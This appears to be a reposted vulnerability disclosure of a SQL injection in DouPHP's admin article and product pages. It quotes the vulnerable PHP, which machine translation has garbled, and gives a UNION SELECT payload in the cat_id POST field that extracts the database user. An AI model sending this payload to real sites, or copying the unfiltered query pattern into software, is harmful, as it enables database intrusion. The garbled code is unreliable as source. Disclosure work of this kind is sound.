DouPHP SQL Injection

Source: Internet
Author: User

DouPHP SQL Injection

DouPHP features are simple, so it is easier to defend against it. Using global filtering can avoid problems, but there are still some less rigorous aspects.
It's not easy to dig holes --

Detailed description:

In the file \ www \ admin \ article. php:


/**
* + Author * Article list * + -------------------------------------------------------- */if ($ rec = 'default') {$ smarty-> assign ('ur _ here ', $ _ LANG ['Article']); $ smarty-> assign ('Action _ link', array ('text' => $ _ LANG ['Article _ add'], 'href '=> 'Article. php? Rec = add'); // verify and obtain a valid category ID $ cat_id = $ check-> is_number ($ _ REQUEST ['cat _ id'])? $ _ REQUEST ['cat _ id']: (isset ($ _ POST ['cat _ id'])? $ _ POST ['cat _ id']: ''); // the logic here seems a bit strange and determines whether it is a number, the next step directly includes $ _ POST data $ keyword = isset ($ _ POST ['keyword'])? Trim ($ _ POST ['keyword']): ''; if ($ cat_id) {$ child_id = $ dou-> dou_child_id ($ dou-> fetch_array_all ('Article _ category '), $ cat_id); $ where = "cat_id IN (". $ cat_id. $ child_id. ")"; // If the input is numeric, global filtering of the firewall file is ignored.} If ($ cat_id & $ keyword) $ where. = 'and'; if ($ keyword) $ where. = "title LIKE '% $ keyword %'"; $ where = $ where? 'Where'. $ WHERE: ''; // verify and obtain the valid page ID $ page = $ check-> is_number ($ _ REQUEST ['page'])? $ _ REQUEST ['page']: 1; $ limit = $ dou-> pager ('Article', 15, $ page, $ cat_id); $ SQL = "SELECT id, title, cat_id, image, add_time FROM ". $ dou-> table ('Article '). $ where. "order by id DESC ". $ limit; // here the statement query $ query = $ dou-> query ($ SQL); // here !!!!! While ($ row = $ dou-> fetch_array ($ query) {$ cat_name = $ dou-> get_one ("SELECT cat_name FROM ". $ dou-> table ('Article _ category '). "WHERE cat_id = '$ row [cat_id]'"); $ add_time = date ("Y-m-d", $ row ['add _ time']); $ article_list [] = array ("id" => $ row ['id'], "cat_id" => $ row ['cat _ id'], "cat_name" => $ cat_name, "title" => $ row ['title'], "image" => $ row ['image'], "add_time" => $ add_time );}



There are also problems in the www \ admin \ product. php file, because the code is similar, it will not be pasted.
 


Because both of these locations are completely unfiltered and display BITs exist. Injection is easy.

Post submission:

Cat_id = 2) union all select 1, user (), 3, 4, 5 -- 1

 




 

 

Solution:

Enhanced Filtering

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.